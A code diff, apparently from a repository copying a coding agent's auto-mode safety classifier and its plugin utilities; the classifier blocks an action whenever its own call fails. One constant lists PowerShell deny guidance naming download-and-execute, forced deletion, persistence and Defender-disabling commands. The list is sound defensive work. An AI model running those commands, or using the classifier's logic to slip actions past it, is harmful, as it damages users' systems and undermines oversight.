+        type: 'tool' as const,
+        name: YOLO_CLASSIFIER_TOOL_NAME,
+      },
+      maxRetries: getDefaultMaxRetries(),
+      signal,
+      querySource: 'auto_mode' as const,
+    }
+    const result = await sideQuery(sideQueryOpts)
+    void maybeDumpAutoMode(sideQueryOpts, result, start)
+    setLastClassifierRequests([sideQueryOpts])
+    const durationMs = Date.now() - start
+    const stage1RequestId = extractRequestId(result)
+    const stage1MsgId = result.id
+
+    // Extract usage for overhead telemetry
+    const usage = {
+      inputTokens: result.usage.input_tokens,
+      outputTokens: result.usage.output_tokens,
+      cacheReadInputTokens: result.usage.cache_read_input_tokens ?? 0,
+      cacheCreationInputTokens: result.usage.cache_creation_input_tokens ?? 0,
+    }
+    // Actual total input tokens the classifier API consumed (uncached + cache)
+    const classifierInputTokens =
+      usage.inputTokens +
+      usage.cacheReadInputTokens +
+      usage.cacheCreationInputTokens
+    if (isDebugMode()) {
+      logForDebugging(
+        `[auto-mode] API usage: ` +
+          `actualInputTokens=${classifierInputTokens} ` +
+          `(uncached=${usage.inputTokens} ` +
+          `cacheRead=${usage.cacheReadInputTokens} ` +
+          `cacheCreate=${usage.cacheCreationInputTokens}) ` +
+          `estimateWas=${classifierTokensEst} ` +
+          `deltaVsMainLoop=${classifierInputTokens - mainLoopTokens} ` +
+          `durationMs=${durationMs}`,
+      )
+    }
+
+    // Extract the tool use result using shared utility
+    const toolUseBlock = extractToolUseBlock(
+      result.content,
+      YOLO_CLASSIFIER_TOOL_NAME,
+    )
+
+    if (!toolUseBlock) {
+      logForDebugging('Auto mode classifier: No tool use block found', {
+        level: 'warn',
+      })
+      logAutoModeOutcome('parse_failure', model, { failureKind: 'no_tool_use' })
+      return {
+        shouldBlock: true,
+        reason: 'Classifier returned no tool use block - blocking for safety',
+        model,
+        usage,
+        durationMs,
+        promptLengths,
+        stage1RequestId,
+        stage1MsgId,
+      }
+    }
+
+    // Parse response using shared utility
+    const parsed = parseClassifierResponse(
+      toolUseBlock,
+      yoloClassifierResponseSchema(),
+    )
+    if (!parsed) {
+      logForDebugging('Auto mode classifier: Invalid response schema', {
+        level: 'warn',
+      })
+      logAutoModeOutcome('parse_failure', model, {
+        failureKind: 'invalid_schema',
+      })
+      return {
+        shouldBlock: true,
+        reason: 'Invalid classifier response - blocking for safety',
+        model,
+        usage,
+        durationMs,
+        promptLengths,
+        stage1RequestId,
+        stage1MsgId,
+      }
+    }
+
+    const classifierResult = {
+      thinking: parsed.thinking,
+      shouldBlock: parsed.shouldBlock,
+      reason: parsed.reason ?? 'No reason provided',
+      model,
+      usage,
+      durationMs,
+      promptLengths,
+      stage1RequestId,
+      stage1MsgId,
+    }
+    // Context-delta telemetry: chart classifierInputTokens / mainLoopTokens
+    // in Datadog. Expect ~0.6-0.8 steady state; alert on p95 > 1.0 (means
+    // classifier is bigger than main loop — auto-compact won't save us).
+    logAutoModeOutcome('success', model, {
+      durationMs,
+      mainLoopTokens,
+      classifierInputTokens,
+      classifierTokensEst,
+    })
+    return classifierResult
+  } catch (error) {
+    if (signal.aborted) {
+      logForDebugging('Auto mode classifier: aborted by user')
+      logAutoModeOutcome('interrupted', model)
+      return {
+        shouldBlock: true,
+        reason: 'Classifier request aborted',
+        model,
+        unavailable: true,
+      }
+    }
+    const tooLong = detectPromptTooLong(error)
+    logForDebugging(`Auto mode classifier error: ${errorMessage(error)}`, {
+      level: 'warn',
+    })
+    const errorDumpPath =
+      (await dumpErrorPrompts(systemPrompt, userPrompt, error, {
+        mainLoopTokens,
+        classifierChars,
+        classifierTokensEst,
+        transcriptEntries: transcriptEntries.length,
+        messages: messages.length,
+        action: actionCompact,
+        model,
+      })) ?? undefined
+    // No API usage on error — use classifierTokensEst / mainLoopTokens
+    // for the ratio. Overflow errors are the critical divergence signal.
+    logAutoModeOutcome(tooLong ? 'transcript_too_long' : 'error', model, {
+      mainLoopTokens,
+      classifierTokensEst,
+      ...(tooLong && {
+        transcriptActualTokens: tooLong.actualTokens,
+        transcriptLimitTokens: tooLong.limitTokens,
+      }),
+    })
+    return {
+      shouldBlock: true,
+      reason: tooLong
+        ? 'Classifier transcript exceeded context window'
+        : 'Classifier unavailable - blocking for safety',
+      model,
+      unavailable: true,
+      transcriptTooLong: Boolean(tooLong),
+      errorDumpPath,
+    }
+  }
+}
+
+type TwoStageMode = 'both' | 'fast' | 'thinking'
+
+type AutoModeConfig = {
+  model?: string
+  /**
+   * Enable XML classifier. `true` runs both stages; `'fast'` and `'thinking'`
+   * run only that stage; `false`/undefined uses the tool_use classifier.
+   */
+  twoStageClassifier?: boolean | 'fast' | 'thinking'
+  /**
+   * Ant builds normally use permissions_anthropic.txt; when true, use
+   * permissions_external.txt instead (dogfood the external template).
+   */
+  forceExternalPermissions?: boolean
+  /**
+   * Gate the JSONL transcript format ({"Bash":"ls"} vs `Bash ls`).
+   * Default false (old text-prefix format) for slow rollout / quick rollback.
+   */
+  jsonlTranscript?: boolean
+}
+
+/**
+ * Get the model for the classifier.
+ * Ant-only env var takes precedence, then GrowthBook JSON config override,
+ * then the main loop model.
+ */
+function getClassifierModel(): string {
+  if (process.env.USER_TYPE === 'ant') {
+    const envModel = process.env.CLAUDE_CODE_AUTO_MODE_MODEL
+    if (envModel) return envModel
+  }
+  const config = getFeatureValue_CACHED_MAY_BE_STALE(
+    'tengu_auto_mode_config',
+    {} as AutoModeConfig,
+  )
+  if (config?.model) {
+    return config.model
+  }
+  return getMainLoopModel()
+}
+
+/**
+ * Resolve the XML classifier setting: ant-only env var takes precedence,
+ * then GrowthBook. Returns undefined when unset (caller decides default).
+ */
+function resolveTwoStageClassifier():
+  | boolean
+  | 'fast'
+  | 'thinking'
+  | undefined {
+  if (process.env.USER_TYPE === 'ant') {
+    const env = process.env.CLAUDE_CODE_TWO_STAGE_CLASSIFIER
+    if (env === 'fast' || env === 'thinking') return env
+    if (isEnvTruthy(env)) return true
+    if (isEnvDefinedFalsy(env)) return false
+  }
+  const config = getFeatureValue_CACHED_MAY_BE_STALE(
+    'tengu_auto_mode_config',
+    {} as AutoModeConfig,
+  )
+  return config?.twoStageClassifier
+}
+
+/**
+ * Check if the XML classifier is enabled (any truthy value including 'fast'/'thinking').
+ */
+function isTwoStageClassifierEnabled(): boolean {
+  const v = resolveTwoStageClassifier()
+  return v === true || v === 'fast' || v === 'thinking'
+}
+
+function isJsonlTranscriptEnabled(): boolean {
+  if (process.env.USER_TYPE === 'ant') {
+    const env = process.env.CLAUDE_CODE_JSONL_TRANSCRIPT
+    if (isEnvTruthy(env)) return true
+    if (isEnvDefinedFalsy(env)) return false
+  }
+  const config = getFeatureValue_CACHED_MAY_BE_STALE(
+    'tengu_auto_mode_config',
+    {} as AutoModeConfig,
+  )
+  return config?.jsonlTranscript === true
+}
+
+/**
+ * PowerShell-specific deny guidance for the classifier. Appended to the
+ * deny list in buildYoloSystemPrompt when PowerShell auto mode is active.
+ * Maps PS idioms to the existing BLOCK categories so the classifier
+ * recognizes `iex (iwr ...)` as "Code from External", `Remove-Item
+ * -Recurse -Force` as "Irreversible Local Destruction", etc.
+ *
+ * Guarded at definition for DCE — with external:false, the string content
+ * is absent from external builds (same pattern as the .txt requires above).
+ */
+const POWERSHELL_DENY_GUIDANCE: readonly string[] = feature(
+  'POWERSHELL_AUTO_MODE',
+)
+  ? [
+      'PowerShell Download-and-Execute: `iex (iwr ...)`, `Invoke-Expression (Invoke-WebRequest ...)`, `Invoke-Expression (New-Object Net.WebClient).DownloadString(...)`, and any pipeline feeding remote content into `Invoke-Expression`/`iex` fall under "Code from External" — same as `curl | bash`.',
+      'PowerShell Irreversible Destruction: `Remove-Item -Recurse -Force`, `rm -r -fo`, `Clear-Content`, and `Set-Content` truncation of pre-existing files fall under "Irreversible Local Destruction" — same as `rm -rf` and `> file`.',
+      'PowerShell Persistence: modifying `$PROFILE` (any of the four profile paths), `Register-ScheduledTask`, `New-Service`, writing to registry Run keys (`HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` or the HKLM equivalent), and WMI event subscriptions fall under "Unauthorized Persistence" — same as `.bashrc` edits and cron jobs.',
+      'PowerShell Elevation: `Start-Process -Verb RunAs`, `-ExecutionPolicy Bypass`, and disabling AMSI/Defender (`Set-MpPreference -DisableRealtimeMonitoring`) fall under "Security Weaken".',
+    ]
+  : []
+
+type AutoModeOutcome =
+  | 'success'
+  | 'parse_failure'
+  | 'interrupted'
+  | 'error'
+  | 'transcript_too_long'
+
+/**
+ * Telemetry helper for tengu_auto_mode_outcome. All string fields are
+ * enum-like values (outcome, model name, classifier type, failure kind) —
+ * never code or file paths, so the AnalyticsMetadata casts are safe.
+ */
+function logAutoModeOutcome(
+  outcome: AutoModeOutcome,
+  model: string,
+  extra?: {
+    classifierType?: string
+    failureKind?: string
+    durationMs?: number
+    mainLoopTokens?: number
+    classifierInputTokens?: number
+    classifierTokensEst?: number
+    transcriptActualTokens?: number
+    transcriptLimitTokens?: number
+  },
+): void {
+  const { classifierType, failureKind, ...rest } = extra ?? {}
+  logEvent('tengu_auto_mode_outcome', {
+    outcome:
+      outcome as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    classifierModel:
+      model as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    ...(classifierType !== undefined && {
+      classifierType:
+        classifierType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    }),
+    ...(failureKind !== undefined && {
+      failureKind:
+        failureKind as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    }),
+    ...rest,
+  })
+}
+
+/**
+ * Detect API 400 "prompt is too long: N tokens > M maximum" errors and
+ * parse the token counts. Returns undefined for any other error.
+ * These are deterministic (same transcript → same error) so retrying
+ * won't help — unlike 429/5xx which sideQuery already retries internally.
+ */
+function detectPromptTooLong(
+  error: unknown,
+): ReturnType<typeof parsePromptTooLongTokenCounts> | undefined {
+  if (!(error instanceof Error)) return undefined
+  if (!error.message.toLowerCase().includes('prompt is too long')) {
+    return undefined
+  }
+  return parsePromptTooLongTokenCounts(error.message)
+}
+
+/**
+ * Get which stage(s) the XML classifier should run.
+ * Only meaningful when isTwoStageClassifierEnabled() is true.
+ */
+function getTwoStageMode(): TwoStageMode {
+  const v = resolveTwoStageClassifier()
+  return v === 'fast' || v === 'thinking' ? v : 'both'
+}
+
+/**
+ * Format an action for the classifier from tool name and input.
+ * Returns a TranscriptEntry with the tool_use block. Each tool controls which
+ * fields get exposed via its `toAutoClassifierInput` implementation.
+ */
+export function formatActionForClassifier(
+  toolName: string,
+  toolInput: unknown,
+): TranscriptEntry {
+  return {
+    role: 'assistant',
+    content: [{ type: 'tool_use', name: toolName, input: toolInput }],
+  }
+}
diff --git a/cc-haha/src/utils/plugins/gitAvailability.ts b/cc-haha/src/utils/plugins/gitAvailability.ts
new file mode 100644
index 0000000..56700d4
--- /dev/null
+++ b/cc-haha/src/utils/plugins/gitAvailability.ts
@@ -0,0 +1,69 @@
+/**
+ * Utility for checking git availability.
+ *
+ * Git is required for installing GitHub-based marketplaces. This module
+ * provides a memoized check to determine if git is available on the system.
+ */
+
+import memoize from 'lodash-es/memoize.js'
+import { which } from '../which.js'
+
+/**
+ * Check if a command is available in PATH.
+ *
+ * Uses which to find the actual executable without executing it.
+ * This is a security best practice to avoid executing arbitrary code
+ * in untrusted directories.
+ *
+ * @param command - The command to check for
+ * @returns True if the command exists and is executable
+ */
+async function isCommandAvailable(command: string): Promise<boolean> {
+  try {
+    return !!(await which(command))
+  } catch {
+    return false
+  }
+}
+
+/**
+ * Check if git is available on the system.
+ *
+ * This is memoized so repeated calls within a session return the cached result.
+ * Git availability is unlikely to change during a single CLI session.
+ *
+ * Only checks PATH — does not exec git. On macOS this means the /usr/bin/git
+ * xcrun shim passes even without Xcode CLT installed; callers that hit
+ * `xcrun: error:` at exec time should call markGitUnavailable() so the rest
+ * of the session behaves as though git is absent.
+ *
+ * @returns True if git is installed and executable
+ */
+export const checkGitAvailable = memoize(async (): Promise<boolean> => {
+  return isCommandAvailable('git')
+})
+
+/**
+ * Force the memoized git-availability check to return false for the rest of
+ * the session.
+ *
+ * Call this when a git invocation fails in a way that indicates the binary
+ * exists on PATH but cannot actually run — the macOS xcrun shim being the
+ * main case (`xcrun: error: invalid active developer path`). Subsequent
+ * checkGitAvailable() calls then short-circuit to false, so downstream code
+ * that guards on git availability skips cleanly instead of failing repeatedly
+ * with the same exec error.
+ *
+ * lodash memoize uses a no-arg cache key of undefined.
+ */
+export function markGitUnavailable(): void {
+  checkGitAvailable.cache?.set?.(undefined, Promise.resolve(false))
+}
+
+/**
+ * Clear the git availability cache.
+ * Used for testing purposes.
+ */
+export function clearGitAvailabilityCache(): void {
+  checkGitAvailable.cache?.clear?.()
+}
diff --git a/cc-haha/src/utils/plugins/officialMarketplace.ts b/cc-haha/src/utils/plugins/officialMarketplace.ts
new file mode 100644
index 0000000..96e7cd2
--- /dev/null
+++ b/cc-haha/src/utils/plugins/officialMarketplace.ts
@@ -0,0 +1,25 @@
+/**
+ * Constants for the official Anthropic plugins marketplace.
+ *
+ * The official marketplace is hosted on GitHub and provides first-party
+ * plugins developed by Anthropic. This file defines the constants needed
+ * to install and identify this marketplace.
+ */
+
+import type { MarketplaceSource } from './schemas.js'
+
+/**
+ * Source configuration for the official Anthropic plugins marketplace.
+ * Used when auto-installing the marketplace on startup.
+ */
+export const OFFICIAL_MARKETPLACE_SOURCE = {
+  source: 'github',
+  repo: 'anthropics/claude-plugins-official',
+} as const satisfies MarketplaceSource
+
+/**
+ * Display name for the official marketplace.
+ * This is the name under which the marketplace will be registered
+ * in the known_marketplaces.json file.
+ */
+export const OFFICIAL_MARKETPLACE_NAME = 'claude-plugins-official'
diff --git a/cc-haha/src/utils/plugins/pluginDirectories.ts b/cc-haha/src/utils/plugins/pluginDirectories.ts
new file mode 100644
index 0000000..0bb6701
--- /dev/null
+++ b/cc-haha/src/utils/plugins/pluginDirectories.ts
@@ -0,0 +1,178 @@
+/**
+ * Centralized plugin directory configuration.
+ *
+ * This module provides the single source of truth for the plugins directory path.
+ * It supports switching between 'plugins' and 'cowork_plugins' directories via:
+ * - CLI flag: --cowork
+ * - Environment variable: CLAUDE_CODE_USE_COWORK_PLUGINS
+ *
+ * The base directory can be overridden via CLAUDE_CODE_PLUGIN_CACHE_DIR.
+ */
+
+import { mkdirSync } from 'fs'
+import { readdir, rm, stat } from 'fs/promises'
+import { delimiter, join } from 'path'
+import { getUseCoworkPlugins } from '../../bootstrap/state.js'
+import { logForDebugging } from '../debug.js'
+import { getClaudeConfigHomeDir, isEnvTruthy } from '../envUtils.js'
+import { errorMessage, isFsInaccessible } from '../errors.js'
+import { formatFileSize } from '../format.js'
+import { expandTilde } from '../permissions/pathValidation.js'
+
+const PLUGINS_DIR = 'plugins'
+const COWORK_PLUGINS_DIR = 'cowork_plugins'
+
+/**
+ * Get the plugins directory name based on current mode.
+ * Uses session state (from --cowork flag) or env var.
+ *
+ * Priority:
+ * 1. Session state (set by CLI flag --cowork)
+ * 2. Environment variable CLAUDE_CODE_USE_COWORK_PLUGINS
+ * 3. Default: 'plugins'
+ */
+function getPluginsDirectoryName(): string {
+  // Session state takes precedence (set by CLI flag)
+  if (getUseCoworkPlugins()) {
+    return COWORK_PLUGINS_DIR
+  }
+  // Fall back to env var
+  if (isEnvTruthy(process.env.CLAUDE_CODE_USE_COWORK_PLUGINS)) {
+    return COWORK_PLUGINS_DIR
+  }
+  return PLUGINS_DIR
+}
+
+/**
+ * Get the full path to the plugins directory.
+ *
+ * Priority:
+ * 1. CLAUDE_CODE_PLUGIN_CACHE_DIR env var (explicit override)
+ * 2. Default: ~/.claude/plugins or ~/.claude/cowork_plugins
+ */
+export function getPluginsDirectory(): string {
+  // expandTilde: when CLAUDE_CODE_PLUGIN_CACHE_DIR is set via settings.json
+  // `env` (not shell), ~ is not expanded by the shell. Without this, a value
+  // like "~/.claude/plugins" becomes a literal `~` directory created in the
+  // cwd of every project (gh-30794 / CC-212).
+  const envOverride = process.env.CLAUDE_CODE_PLUGIN_CACHE_DIR
+  if (envOverride) {
+    return expandTilde(envOverride)
+  }
+  return join(getClaudeConfigHomeDir(), getPluginsDirectoryName())
+}
+
+/**
+ * Get the read-only plugin seed directories, if configured.
+ *
+ * Customers can pre-bake a populated plugins directory into their container
+ * image and point CLAUDE_CODE_PLUGIN_SEED_DIR at it. CC will use it as a
+ * read-only fallback layer under the primary plugins directory — marketplaces
+ * and plugin caches found in the seed are used in place without re-cloning.
+ *
+ * Multiple seed directories can be layered using the platform path delimiter
+ * (':' on Unix, ';' on Windows), in PATH-like precedence order — the first
+ * seed that contains a given marketplace or plugin cache wins.
+ *
+ * Seed structure mirrors the primary plugins directory:
+ *   $CLAUDE_CODE_PLUGIN_SEED_DIR/
+ *     known_marketplaces.json
+ *     marketplaces/<name>/...
+ *     cache/<marketplace>/<plugin>/<version>/...
+ *
+ * @returns Absolute paths to seed dirs in precedence order (empty if unset)
+ */
+export function getPluginSeedDirs(): string[] {
+  // Same tilde-expansion rationale as getPluginsDirectory (gh-30794).
+  const raw = process.env.CLAUDE_CODE_PLUGIN_SEED_DIR
+  if (!raw) return []
+  return raw.split(delimiter).filter(Boolean).map(expandTilde)
+}
+
+function sanitizePluginId(pluginId: string): string {
+  // Same character class as the install-cache sanitizer (pluginLoader.ts)
+  return pluginId.replace(/[^a-zA-Z0-9\-_]/g, '-')
+}
+
+/** Pure path — no mkdir. For display (e.g. uninstall dialog). */
+export function pluginDataDirPath(pluginId: string): string {
+  return join(getPluginsDirectory(), 'data', sanitizePluginId(pluginId))
+}
+
+/**
+ * Persistent per-plugin data directory, exposed to plugins as
+ * ${CLAUDE_PLUGIN_DATA}. Unlike the version-scoped install cache
+ * (${CLAUDE_PLUGIN_ROOT}, which is orphaned and GC'd on every update),
+ * this survives plugin updates — only removed on last-scope uninstall.
+ *
+ * Creates the directory on call (mkdir). The *lazy* behavior is at the
+ * substitutePluginVariables call site — the DATA pattern uses function-form
+ * .replace() so this isn't invoked unless ${CLAUDE_PLUGIN_DATA} is present
+ * (ROOT also uses function-form, but for $-pattern safety, not laziness).
+ * Env-var export sites (MCP/LSP server env, hook env) call this eagerly
+ * since subprocesses may expect the dir to exist before writing to it.
+ *
+ * Sync because it's called from substitutePluginVariables (sync, inside
+ * String.replace) — making this async would cascade through 6 call sites
+ * and their sync iteration loops. One mkdir in plugin-load path is cheap.
+ */
+export function getPluginDataDir(pluginId: string): string {
+  const dir = pluginDataDirPath(pluginId)
+  mkdirSync(dir, { recursive: true })
+  return dir
+}
+
+/**
+ * Size of the data dir for the uninstall confirmation prompt. Returns null
+ * when the dir is absent or empty so callers can skip the prompt entirely.
+ * Recursive walk — not hot-path (only on uninstall).
+ */
+export async function getPluginDataDirSize(
+  pluginId: string,
+): Promise<{ bytes: number; human: string } | null> {
+  const dir = pluginDataDirPath(pluginId)
+  let bytes = 0
+  const walk = async (p: string) => {
+    for (const entry of await readdir(p, { withFileTypes: true })) {
+      const full = join(p, entry.name)
+      if (entry.isDirectory()) {
+        await walk(full)
+      } else {
+        // Per-entry catch: a broken symlink makes stat() throw ENOENT.
+        // Without this, one broken link bubbles to the outer catch →
+        // returns null → dialog skipped → data silently deleted.
+        try {
+          bytes += (await stat(full)).size
+        } catch {
+          // Broken symlink / raced delete — skip this entry, keep walking
+        }
+      }
+    }
+  }
+  try {
+    await walk(dir)
+  } catch (e) {
+    if (isFsInaccessible(e)) return null
+    throw e
+  }
+  if (bytes === 0) return null
+  return { bytes, human: formatFileSize(bytes) }
+}
+
+/**
+ * Best-effort cleanup on last-scope uninstall. Failure is logged but does
+ * not throw — the uninstall itself already succeeded; we don't want a
+ * cleanup side-effect surfacing as "uninstall failed". Same rationale as
+ * deletePluginOptions (pluginOptionsStorage.ts).
+ */
+export async function deletePluginDataDir(pluginId: string): Promise<void> {
+  const dir = pluginDataDirPath(pluginId)
+  try {
+    await rm(dir, { recursive: true, force: true })
+  } catch (e) {
+    logForDebugging(
+      `Failed to delete plugin data dir ${dir}: ${errorMessage(e)}`,
+      { level: 'warn' },
+    )
+  }
+}
diff --git a/cc-haha/src/utils/plugins/pluginStartupCheck.ts b/cc-haha/src/utils/plugins/pluginStartupCheck.ts
new file mode 100644
index 0000000..6118682
--- /dev/null
+++ b/cc-haha/src/utils/plugins/pluginStartupCheck.ts
@@ -0,0 +1,341 @@
+import { join } from 'path'
+import { getCwd } from '../cwd.js'
+import { logForDebugging } from '../debug.js'
+import { logError } from '../log.js'
+import type { SettingSource } from '../settings/constants.js'
+import {
+  getInitialSettings,
+  getSettingsForSource,
+  updateSettingsForSource,
+} from '../settings/settings.js'
+import { getAddDirEnabledPlugins } from './addDirPluginSettings.js'
+import {
+  getInMemoryInstalledPlugins,
+  migrateFromEnabledPlugins,
+} from './installedPluginsManager.js'
+import { getPluginById } from './marketplaceManager.js'
+import {
+  type ExtendedPluginScope,
+  type PersistablePluginScope,
+  SETTING_SOURCE_TO_SCOPE,
+  scopeToSettingSource,
+} from './pluginIdentifier.js'
+import {
+  cacheAndRegisterPlugin,
+  registerPluginInstallation,
+} from './pluginInstallationHelpers.js'
+import { isLocalPluginSource, type PluginScope } from './schemas.js'
+
+/**
+ * Checks for enabled plugins across all settings sources, including --add-dir.
+ *
+ * Uses getInitialSettings() which merges all sources with policy as
+ * highest priority, then layers --add-dir plugins underneath. This is the
+ * authoritative "is this plugin enabled?" check — don't delegate to
+ * getPluginEditableScopes() which serves a different purpose (scope tracking).
+ *
+ * @returns Array of plugin IDs (plugin@marketplace format) that are enabled
+ */
+export async function checkEnabledPlugins(): Promise<string[]> {
+  const settings = getInitialSettings()
+  const enabledPlugins: string[] = []
+
+  // Start with --add-dir plugins (lowest priority)
+  const addDirPlugins = getAddDirEnabledPlugins()
+  for (const [pluginId, value] of Object.entries(addDirPlugins)) {
+    if (pluginId.includes('@') && value) {
+      enabledPlugins.push(pluginId)
+    }
+  }
+
+  // Merged settings (policy > local > project > user) override --add-dir
+  if (settings.enabledPlugins) {
+    for (const [pluginId, value] of Object.entries(settings.enabledPlugins)) {
+      if (!pluginId.includes('@')) {
+        continue
+      }
+      const idx = enabledPlugins.indexOf(pluginId)
+      if (value) {
+        if (idx === -1) {
+          enabledPlugins.push(pluginId)
+        }
+      } else {
+        // Explicitly disabled — remove even if --add-dir enabled it
+        if (idx !== -1) {
+          enabledPlugins.splice(idx, 1)
+        }
+      }
+    }
+  }
+
+  return enabledPlugins
+}
+
+/**
+ * Gets the user-editable scope that "owns" each enabled plugin.
+ *
+ * Used for scope tracking: determining where to write back when a user
+ * enables/disables a plugin. Managed (policy) settings are processed first
+ * (lowest priority) because the user cannot edit them — the scope should
+ * resolve to the highest user-controllable source.
+ *
+ * NOTE: This is NOT the authoritative "is this plugin enabled?" check.
+ * Use checkEnabledPlugins() for that — it uses merged settings where
+ * policy has highest priority and can block user-enabled plugins.
+ *
+ * Precedence (lowest to highest):
+ * 0. addDir (--add-dir directories) - session-only, lowest priority
+ * 1. managed (policySettings) - not user-editable
+ * 2. user (userSettings)
+ * 3. project (projectSettings)
+ * 4. local (localSettings)
+ * 5. flag (flagSettings) - session-only, not persisted
+ *
+ * @returns Map of plugin ID to the user-editable scope that owns it
+ */
+export function getPluginEditableScopes(): Map<string, ExtendedPluginScope> {
+  const result = new Map<string, ExtendedPluginScope>()
+
+  // Process --add-dir directories FIRST (lowest priority, overridden by all standard sources)
+  const addDirPlugins = getAddDirEnabledPlugins()
+  for (const [pluginId, value] of Object.entries(addDirPlugins)) {
+    if (!pluginId.includes('@')) {
+      continue
+    }
+    if (value === true) {
+      result.set(pluginId, 'flag') // 'flag' scope = session-only, no write-back
+    } else if (value === false) {
+      result.delete(pluginId)
+    }
+  }
+
+  // Process standard sources in precedence order (later overrides earlier)
+  const scopeSources: Array<{
+    scope: ExtendedPluginScope
+    source: SettingSource
+  }> = [
+    { scope: 'managed', source: 'policySettings' },
+    { scope: 'user', source: 'userSettings' },
+    { scope: 'project', source: 'projectSettings' },
+    { scope: 'local', source: 'localSettings' },
+    { scope: 'flag', source: 'flagSettings' },
+  ]
+
+  for (const { scope, source } of scopeSources) {
+    const settings = getSettingsForSource(source)
+    if (!settings?.enabledPlugins) {
+      continue
+    }
+
+    for (const [pluginId, value] of Object.entries(settings.enabledPlugins)) {
+      // Skip invalid format
+      if (!pluginId.includes('@')) {
+        continue
+      }
+
+      // Log when a standard source overrides an --add-dir plugin
+      if (pluginId in addDirPlugins && addDirPlugins[pluginId] !== value) {
+        logForDebugging(
+          `Plugin ${pluginId} from --add-dir (${addDirPlugins[pluginId]}) overridden by ${source} (${value})`,
+        )
+      }
+
+      if (value === true) {
+        // Plugin enabled at this scope
+        result.set(pluginId, scope)
+      } else if (value === false) {
+        // Explicitly disabled - remove from result
+        result.delete(pluginId)
+      }
+      // Note: Other values (like version strings for future P2) are ignored for now
+    }
+  }
+
+  logForDebugging(
+    `Found ${result.size} enabled plugins with scopes: ${Array.from(
+      result.entries(),
+    )
+      .map(([id, scope]) => `${id}(${scope})`)
+      .join(', ')}`,
+  )
+
+  return result
+}
+
+/**
+ * Check if a scope is persistable (not session-only).
+ * @param scope The scope to check
+ * @returns true if the scope should be persisted to installed_plugins.json
+ */
+export function isPersistableScope(
+  scope: ExtendedPluginScope,
+): scope is PersistablePluginScope {
+  return scope !== 'flag'
+}
+
+/**
+ * Convert SettingSource to plugin scope.
+ * @param source The settings source
+ * @returns The corresponding plugin scope
+ */
+export function settingSourceToScope(
+  source: SettingSource,
+): ExtendedPluginScope {
+  return SETTING_SOURCE_TO_SCOPE[source]
+}
+
+/**
+ * Gets the list of currently installed plugins
+ * Reads from installed_plugins.json which tracks global installation state.
+ * Automatically runs migration on first call if needed.
+ *
+ * Always uses V2 format and initializes the in-memory session state
+ * (which triggers V1→V2 migration if needed).
+ *
+ * @returns Array of installed plugin IDs
+ */
+export async function getInstalledPlugins(): Promise<string[]> {
+  // Trigger sync in background (don't await - don't block startup)
+  // This syncs enabledPlugins from settings.json to installed_plugins.json
+  void migrateFromEnabledPlugins().catch(error => {
+    logError(error)
+  })
+
+  // Always use V2 format - initializes in-memory session state and triggers V1→V2 migration
+  const v2Data = getInMemoryInstalledPlugins()
+  const installed = Object.keys(v2Data.plugins)
+  logForDebugging(`Found ${installed.length} installed plugins`)
+  return installed
+}
+
+/**
+ * Finds plugins that are enabled but not installed
+ * @param enabledPlugins Array of enabled plugin IDs
+ * @returns Array of missing plugin IDs
+ */
+export async function findMissingPlugins(
+  enabledPlugins: string[],
+): Promise<string[]> {
+  try {
+    const installedPlugins = await getInstalledPlugins()
+
+    // Filter to not-installed synchronously, then look up all in parallel.
+    // Results are collected in original enabledPlugins order.
+    const notInstalled = enabledPlugins.filter(
+      id => !installedPlugins.includes(id),
+    )
+    const lookups = await Promise.all(
+      notInstalled.map(async pluginId => {
+        try {
+          const plugin = await getPluginById(pluginId)
+          return { pluginId, found: plugin !== null && plugin !== undefined }
+        } catch (error) {
+          logForDebugging(
+            `Failed to check plugin ${pluginId} in marketplace: ${error}`,
+          )
+          // Plugin doesn't exist in any marketplace, will be handled as an error
+          return { pluginId, found: false }
+        }
+      }),
+    )
+    const missing = lookups
+      .filter(({ found }) => found)
+      .map(({ pluginId }) => pluginId)
+
+    return missing
+  } catch (error) {
+    logError(error)
+    return []
+  }
+}
+
+/**
+ * Result of plugin installation attempt
+ */
+export type PluginInstallResult = {
+  installed: string[]
+  failed: Array<{ name: string; error: string }>
+}
+
+/**
+ * Installation scope type for install functions (excludes 'managed' which is read-only)
+ */
+type InstallableScope = Exclude<PluginScope, 'managed'>
+
+/**
+ * Installs the selected plugins
+ * @param pluginsToInstall Array of plugin IDs to install
+ * @param onProgress Optional callback for installation progress
+ * @param scope Installation scope: user, project, or local (defaults to 'user')
+ * @returns Installation results with succeeded and failed plugins
+ */
+export async function installSelectedPlugins(
+  pluginsToInstall: string[],
+  onProgress?: (name: string, index: number, total: number) => void,
+  scope: InstallableScope = 'user',
+): Promise<PluginInstallResult> {
+  // Get projectPath for non-user scopes
+  const projectPath = scope !== 'user' ? getCwd() : undefined
+
+  // Get the correct settings source for this scope
+  const settingSource = scopeToSettingSource(scope)
+  const settings = getSettingsForSource(settingSource)
+  const updatedEnabledPlugins = { ...settings?.enabledPlugins }
+  const installed: string[] = []
+  const failed: Array<{ name: string; error: string }> = []
+
+  for (let i = 0; i < pluginsToInstall.length; i++) {
+    const pluginId = pluginsToInstall[i]
+    if (!pluginId) continue
+
+    if (onProgress) {
+      onProgress(pluginId, i + 1, pluginsToInstall.length)
+    }
+
+    try {
+      const pluginInfo = await getPluginById(pluginId)
+      if (!pluginInfo) {
+        failed.push({
+          name: pluginId,
+          error: 'Plugin not found in any marketplace',
+        })
+        continue
+      }
+
+      // Cache the plugin if it's from an external source
+      const { entry, marketplaceInstallLocation } = pluginInfo
+      if (!isLocalPluginSource(entry.source)) {
+        // External plugin - cache and register it with scope
+        await cacheAndRegisterPlugin(pluginId, entry, scope, projectPath)
+      } else {
+        // Local plugin - just register it with the install path and scope
+        registerPluginInstallation(
+          {
+            pluginId,
+            installPath: join(marketplaceInstallLocation, entry.source),
+            version: entry.version,
+          },
+          scope,
+          projectPath,
+        )
+      }
+
+      // Mark as enabled in settings
+      updatedEnabledPlugins[pluginId] = true
+      installed.push(pluginId)
+    } catch (error) {
+      const errorMessage =
+        error instanceof Error ? error.message : String(error)
+      failed.push({ name: pluginId, error: errorMessage })
+      logError(error)
+    }
+  }
+
+  // Update settings with newly enabled plugins using the correct settings source
